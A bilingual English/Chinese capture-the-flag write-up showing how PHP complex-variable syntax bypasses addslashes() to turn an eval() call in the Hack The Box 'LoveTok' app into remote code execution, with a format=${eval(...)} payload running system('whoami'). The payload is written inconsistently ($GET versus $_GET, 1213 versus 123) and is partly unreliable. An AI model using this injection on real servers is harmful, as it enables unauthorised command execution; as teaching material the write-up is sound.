How to bypass “addslashes()"/如何绕过addslashes

This article is written in Chinese and English, and the content is exactly the same. To view the Chinese version, please scroll down.

本篇文章采用中文和英文两种语言编写,内容完全相同。如需查看中文版请下滑。

How to bypass “addslashes()”

I believe that anyone who has been exposed to a little code audit will often see the addslashes function, and love and hate this function. I love it because I directly add addslashes when writing the solution in the report. I hate it because how many attack chains are folded under this function. Today, I will catch a question on Hack The Box to provide you with a way to bypass the addslashes function.

LoveTok

After opening the webpage, there is no place to input. There is a countdown at the bottom of the page. It seems that it is not long before I find my true love, but I can’t wait that long.

This question is a code audit question. Download the source code and open it, starting from the routing. The new function stores the possible batch input into an array, and the match function executes the methods in a specific class in turn. Seeing this, I thought it was a deserialization trick, and I was still studying the parsing process carefully, preparing to pave the way for the construction of deserialization strings in the future. But the routing file has been seen at the bottom and there is nothing to use. The last view function contains a certain php file under the current path, so my thoughts were lured into the file inclusion vulnerability.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
<?php
class Router
{
public $routes = [];

public function new($method, $route, $controller)
{
$r = [
'method' => $method,
'route' => $route,
];

if (is_callable($controller))
{
$r['controller'] = $controller;
$this->routes[] = $r;
}
else if (strpos($controller, '@'))
{
$split = explode('@', $controller);
$class = $split[0];
$function = $split[1];

$r['controller'] = [
'class' => $class,
'function' => $function
];

$this->routes[] = $r;
}
else
{
throw new Exception('Invalid controller');
}
}

public function match()
{
foreach($this->routes as $route)
{
if ($this->_match_route($route['route']))
{
if ($route['method'] != $_SERVER['REQUEST_METHOD'])
{
$this->abort(405);
}
$params = $this->getRouteParameters($route['route']);

if (is_array($route['controller']))
{
$controller = $route['controller'];
$class = $controller['class'];
$function = $controller['function'];

return (new $class)->$function($this,$params);
}
return $route['controller']($this,$params);
}
}

$this->abort(404);
}

public function _match_route($route)
{
$uri = explode('/', strtok($_SERVER['REQUEST_URI'], '?'));
$route = explode('/', $route);

if (count($uri) != count($route)) return false;

foreach ($route as $key => $value)
{
if ($uri[$key] != $value && $value != '{param}') return false;
}

return true;
}

public function getRouteParameters($route)
{
$params = [];
$uri = explode('/', strtok($_SERVER['REQUEST_URI'], '?'));
$route = explode('/', $route);

foreach ($route as $key => $value)
{
if ($uri[$key] == $value) continue;
if ($value == '{param}')
{
if ($uri[$key] == '')
{
$this->abort(404);
}
$params[] = $uri[$key];
}
}

return $params;
}

public function abort($code)
{
http_response_code($code);
exit;
}

public function view($view, $data = [])
{
extract($data);
include __DIR__."/views/${view}.php";
exit;
}
}

There was nothing juicy from the routing file, so I turned my attention to the index.php file. The new function is called under the file, and new calls the index function in the TimeController class, but the function but the input is uncontrollable.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php 
date_default_timezone_set('UTC');

spl_autoload_register(function ($name){
if (preg_match('/Controller$/', $name))
{
$name = "controllers/${name}";
}
else if (preg_match('/Model$/', $name))
{
$name = "models/${name}";
}
include_once "${name}.php";
});

$router = new Router();
$router->new('GET', '/', 'TimeController@index');

$response = $router->match();

die($response);

After opening the TimeController class file, I finally found the user-controllable input format. This input was passed as a parameter to the TimeModel function, and it was used as the mark of date as a representation of the life time. Here comes the problem. The getTime function uses the eval php dangerous function, and the user controllable input fromat is passed into the parameter in a splicing manner. RCE is naturally thought of here, but it is a pity that format passes through the addslashes function before splicing into the string. The backslash in front of the quotation marks will prevent the eval function from executing the php command correctly.

Use complex variables to bypass addslashes

Here is a method: use complex variables to bypass addslashes. There is a very flexible way of naming variables in PHP. You can declare variable names directly in the code, or you can declare variable names in a more obscure way. This technique is often used when writing webshells that can bypass waf.

The content of the string wrapped in single quotation marks in PHP will not be parsed, and the string in the form of a variable in the string wrapped in double quotation marks will be parsed.

Any scalar variable with string expressions, array elements or object properties in PHP can use the following syntax. Just write the expression outside the string, enclose it in curly braces, and put the dollar sign ${}, the variable in the curly braces will be parsed as a variable name.

Next we return to the above topic.

1
2
$this->format = addslashes($format);
eval('$time = date("' . $this->format . '", strtotime("' . $this->prediction . '"));');

In order to bypass the addslashes function, we need to define a variable that will not go through the addslashes function. The value of this variable is the result of the bash command we want to execute. Take the following command as an example

123 = system('whoami');

The variable 123 does not go through the addslashes function, and then the content in this variable is executed.

eval($_GET[123])

Observe that there are two single quotation marks in the first command from the beginning, but now there are no quotation marks at all. We write the result of this command into curly braces and let php parse it.

format=${eval($GET[1213])}

So far, the eval function of the original code should be as follows. system('whoami') will be executed first, and the result will be spliced into the string as the value of the variable 123.

Now let’s see the result:

如何绕过addslashes

相信但凡接触过一点点代码审计的朋友都会经常见到addslashes函数,并且对这个函数又爱又恨。爱它是因为在写报告中的解决方法的时候直接加上addslashes完事,恨它是因为多少条攻击链都折在这个函数下了。今天接住Hack The Box上面的一道题来给大家提供一种绕过addslashes函数的方法。

LoveTok

打开网页之后没有可以输入的地方,页面最下方有一个倒计时,看起来距离我找到真爱的时间并不长了,但我是不可能等那么久的。

这道题是一道代码审计的题目,将源代码下载下来打开,从路由开始看起。new函数将有可能出现的批量输入存入数组中,match函数依次执行特定的类中的方法。看到这里我以为是跟反序列化有关的题目,还在仔细研究解析过程,准备为以后构建反序列化字符串铺路。但是路由文件一直看到最底下也没有什么可以利用的地方,最后一个view函数包含了当前路径下的某个php文件,于是我的思路又被引诱到了文件包含漏洞中去。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
<?php
class Router
{
public $routes = [];

public function new($method, $route, $controller)
{
$r = [
'method' => $method,
'route' => $route,
];

if (is_callable($controller))
{
$r['controller'] = $controller;
$this->routes[] = $r;
}
else if (strpos($controller, '@'))
{
$split = explode('@', $controller);
$class = $split[0];
$function = $split[1];

$r['controller'] = [
'class' => $class,
'function' => $function
];

$this->routes[] = $r;
}
else
{
throw new Exception('Invalid controller');
}
}

public function match()
{
foreach($this->routes as $route)
{
if ($this->_match_route($route['route']))
{
if ($route['method'] != $_SERVER['REQUEST_METHOD'])
{
$this->abort(405);
}
$params = $this->getRouteParameters($route['route']);

if (is_array($route['controller']))
{
$controller = $route['controller'];
$class = $controller['class'];
$function = $controller['function'];

return (new $class)->$function($this,$params);
}
return $route['controller']($this,$params);
}
}

$this->abort(404);
}

public function _match_route($route)
{
$uri = explode('/', strtok($_SERVER['REQUEST_URI'], '?'));
$route = explode('/', $route);

if (count($uri) != count($route)) return false;

foreach ($route as $key => $value)
{
if ($uri[$key] != $value && $value != '{param}') return false;
}

return true;
}

public function getRouteParameters($route)
{
$params = [];
$uri = explode('/', strtok($_SERVER['REQUEST_URI'], '?'));
$route = explode('/', $route);

foreach ($route as $key => $value)
{
if ($uri[$key] == $value) continue;
if ($value == '{param}')
{
if ($uri[$key] == '')
{
$this->abort(404);
}
$params[] = $uri[$key];
}
}

return $params;
}

public function abort($code)
{
http_response_code($code);
exit;
}

public function view($view, $data = [])
{
extract($data);
include __DIR__."/views/${view}.php";
exit;
}
}

路由文件没有什么收获,于是我把目光转到了index.php文件中。文件下方调用了new函数,new调用了TimeController类中的index函数,但是函数但是输入都是不可控的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php 
date_default_timezone_set('UTC');

spl_autoload_register(function ($name){
if (preg_match('/Controller$/', $name))
{
$name = "controllers/${name}";
}
else if (preg_match('/Model$/', $name))
{
$name = "models/${name}";
}
include_once "${name}.php";
});

$router = new Router();
$router->new('GET', '/', 'TimeController@index');

$response = $router->match();

die($response);

打开TimeController类文件,终于发现了用户可控的输入format,这个输入被传参传进了TimeModel函数中,被作为date的标识为生命时间的表示方式。到这里问题来了,getTime函数使用了eval这个php危险函数,并且将用户可控输入fromat以拼接的方式传入到了参数中。这里自然想到了RCE,但是很可惜,format在拼接到字符串里面之前经过了addslashes函数,引号前面的反斜线会让eval函数无法正确执行php命令。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// TimeController.php
<?php
class TimeController
{
public function index($router)
{
$format = isset($_GET['format']) ? $_GET['format'] : 'r';
$time = new TimeModel($format);
return $router->view('index', ['time' => $time->getTime()]);
}
}

// TimeModel.php
<?php
class TimeModel
{
public function __construct($format)
{
$this->format = addslashes($format);

[ $d, $h, $m, $s ] = [ rand(1, 6), rand(1, 23), rand(1, 59), rand(1, 69) ];
$this->prediction = "+${d} day +${h} hour +${m} minute +${s} second";
}

public function getTime()
{
eval('$time = date("' . $this->format . '", strtotime("' . $this->prediction . '"));');
return isset($time) ? $time : 'Something went terribly wrong';
}
}

使用复杂变量绕过addslashes

这里介绍一种方法:使用复杂变量绕过addslashes。在PHP中有着很灵活的变量命名方式,可以直接在代码中声明变量名称,也可以用更隐晦的方式来声明变量名称,这种技术在写能过绕过waf的webshell时经常用到。

PHP中单引号包裹的字符串内容不会被解析,双引号包裹的字符串中变量形式的字符串会被解析。

PHP中任何带有字符串表达式,数组元素或者是对象属性的标量变量都可以使用下面这种语法。只需要将表达式写在字符串之外,然后将其括在花括号中,并带上美元符号${},花括号中的变量就会被当作变量名称解析。

接下来我们会到上面的题目中.

1
2
$this->format = addslashes($format);
eval('$time = date("' . $this->format . '", strtotime("' . $this->prediction . '"));');

为了绕过addslashes函数,我们需要自己定义一个不会经过addslashes函数的变量,这个变量的值就是我们想要执行的bash命令结果。以下面的命令为例

123 = system('whoami');

变量123并不经过addslashes函数,接下来执行这个变量中的内容。

eval($_GET[123])

注意观察,从一开始的第一条命令中有两个单引号,到现在完全没有任何引号。我们将这个命令的结果写入到花括号之中,让php去解析。

format=${eval($GET[1213])}

到此,原始代码的eval函数应该如下。system('whoami')会先执行,结果作为变量123的值拼接进入字符串。

1
eval('$time = date("${eval($_GET[123])};", strtotime($this->prediction));')

让我们来看看结果